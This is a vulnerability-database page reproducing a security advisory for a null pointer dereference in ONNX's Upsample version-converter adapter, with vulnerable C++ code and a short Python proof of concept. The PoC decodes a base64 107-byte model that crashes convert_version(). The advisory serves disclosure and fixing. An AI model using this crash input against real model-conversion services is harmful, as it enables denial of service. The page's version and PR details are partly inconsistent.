GHSA-HWPQ-HMQ9-WJ77

Vulnerability from github – Published: 2026-07-07 13:02 – Updated: 2026-07-07 13:02
VLAI
Summary
ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)
Details

Summary

Null pointer dereference (SIGSEGV) in Upsample_6_7::adapt_upsample_6_7() (onnx/version_converter/adapters/upsample_6_7.h:31) when convert_version() processes a model with an Upsample node that has zero inputs. The adapter accesses node->inputs()[0]->sizes() without checking input count. 107-byte PoC crashes on Release build.

This is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.

Details

The Upsample 6→7 adapter validates attributes but not inputs:

// upsample_6_7.h:20-33
void adapt_upsample_6_7(..., Node* node) const {
    ONNX_ASSERTM(
        node->hasAttribute(width_scale_symbol) && node->hasAttribute(height_scale_symbol),
        "...")  // Attribute check PASSES

    auto width_scale = node->f(width_scale_symbol);
    auto height_scale = node->f(height_scale_symbol);

    auto input_shape = node->inputs()[0]->sizes();
    //                 ^^^^^^^^^^^^^^^^^^^^
    //                 OOB when inputs().size() == 0 → SIGSEGV
}

The PoC has an Upsample node at opset 6 with the required width_scale and height_scale attributes but zero inputs. The attribute assertions pass, then node->inputs()[0] on an empty ArrayRef: - Release builds (NDEBUG): bounds-check assertion compiled out → reads garbage pointer → SIGSEGV - Debug builds: assert(Index < Length) at array_ref.h:159 → SIGABRT

An Upsample node with zero inputs passes graphProtoToGraph() because the import code only resolves input names present in the protobuf.

PoC

import base64
import onnx
from onnx import version_converter

poc_b64 = "CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY="

model = onnx.load_from_string(base64.b64decode(poc_b64))

# CRASHES — Upsample_6_7 adapter dereferences empty inputs array
version_converter.convert_version(model, 7)  # SIGSEGV

107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).

Impact

Any application that uses onnx.version_converter.convert_version() on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV).

This vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast_9_8, softmax_12_13, softmax_13_12, upsample_6_7, upsample_9_10, group_normalization_20_21, broadcast_forward_compatibility, upsample_9_8) and all have been fixed in PR #7813.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "PyPI",
        "name": "onnx"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "1.9.0"
            },
            {
              "fixed": "1.22.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-44512"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-476"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-07-07T13:02:10Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nNull pointer dereference (SIGSEGV) in `Upsample_6_7::adapt_upsample_6_7()` (`onnx/version_converter/adapters/upsample_6_7.h:31`) when `convert_version()` processes a model with an Upsample node that has zero inputs. The adapter accesses `node-\u003einputs()[0]-\u003esizes()` without checking input count. 107-byte PoC crashes on Release build.\n\nThis is the same class of bug as the Cast adapter advisory (separate report) but in a different adapter, different file, and different operator.\n\n### Details\n\nThe Upsample 6\u21927 adapter validates attributes but not inputs:\n```cpp\n// upsample_6_7.h:20-33\nvoid adapt_upsample_6_7(..., Node* node) const {\n    ONNX_ASSERTM(\n        node-\u003ehasAttribute(width_scale_symbol) \u0026\u0026 node-\u003ehasAttribute(height_scale_symbol),\n        \"...\")  // Attribute check PASSES\n\n    auto width_scale = node-\u003ef(width_scale_symbol);\n    auto height_scale = node-\u003ef(height_scale_symbol);\n\n    auto input_shape = node-\u003einputs()[0]-\u003esizes();\n    //                 ^^^^^^^^^^^^^^^^^^^^\n    //                 OOB when inputs().size() == 0 \u2192 SIGSEGV\n}\n```\n\nThe PoC has an Upsample node at opset 6 with the required `width_scale` and `height_scale` attributes but zero inputs. The attribute assertions pass, then `node-\u003einputs()[0]` on an empty `ArrayRef`:\n- Release builds (`NDEBUG`): bounds-check assertion compiled out \u2192 reads garbage pointer \u2192 SIGSEGV\n- Debug builds: `assert(Index \u003c Length)` at `array_ref.h:159` \u2192 SIGABRT\n\nAn Upsample node with zero inputs passes `graphProtoToGraph()` because the import code only resolves input names present in the protobuf.\n\n### PoC\n```python\nimport base64\nimport onnx\nfrom onnx import version_converter\n\npoc_b64 = \"CAI6YQo8EgFZIghVcHNhbXBsZSoVCgt3aWR0aF9zY2FsZRUAAABAoAEBKhYKDGhlaWdodF9zY2FsZRUAAABAoAEBEgR0ZXN0YhsKAVkSFgoUCAESEAoCCAEKAggBCgIIBAoCCARCBAoAEAY=\"\n\nmodel = onnx.load_from_string(base64.b64decode(poc_b64))\n\n# CRASHES \u2014 Upsample_6_7 adapter dereferences empty inputs array\nversion_converter.convert_version(model, 7)  # SIGSEGV\n```\n\n107-byte PoC. Confirmed SIGSEGV on both onnx 1.21.0 (pip) and 1.22.0 (source build).\n\n### Impact\n\nAny application that uses `onnx.version_converter.convert_version()` on untrusted models is vulnerable. This includes model conversion pipelines and tools that auto-upgrade opset versions for compatibility. The crash is unrecoverable (SIGSEGV). \n\nThis vulnerability is part of a systemic pattern across multiple version converter adapters. A full audit of all ~45 adapters was performed as part of the fix; eight adapters were found with the same class of unguarded indexed access (cast_9_8, softmax_12_13, softmax_13_12, upsample_6_7, upsample_9_10, group_normalization_20_21, broadcast_forward_compatibility, upsample_9_8) and all have been fixed in PR #7813.",
  "id": "GHSA-hwpq-hmq9-wj77",
  "modified": "2026-07-07T13:02:10Z",
  "published": "2026-07-07T13:02:10Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/security/advisories/GHSA-hwpq-hmq9-wj77"
    },
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/pull/7916"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/onnx/onnx"
    },
    {
      "type": "WEB",
      "url": "https://github.com/onnx/onnx/releases/tag/v1.22.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "ONNX has Null Pointer Dereference in Upsample Version Converter Adapter (Zero Inputs)"
}



Log in or create an account to share your comment.




Tags
Taxonomy of the tags.


Loading…

Loading…

Loading…

Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.

Sightings

Author Source Type Date Other

Nomenclature

  • Seen: The vulnerability was mentioned, discussed, or observed by the user.
  • Confirmed: The vulnerability has been validated from an analyst's perspective.
  • Published Proof of Concept: A public proof of concept is available for this vulnerability.
  • Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
  • Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
  • Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
  • Not confirmed: The user expressed doubt about the validity of the vulnerability.
  • Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

Loading…

Detection rules are retrieved from Rulezet.

Loading…

Loading…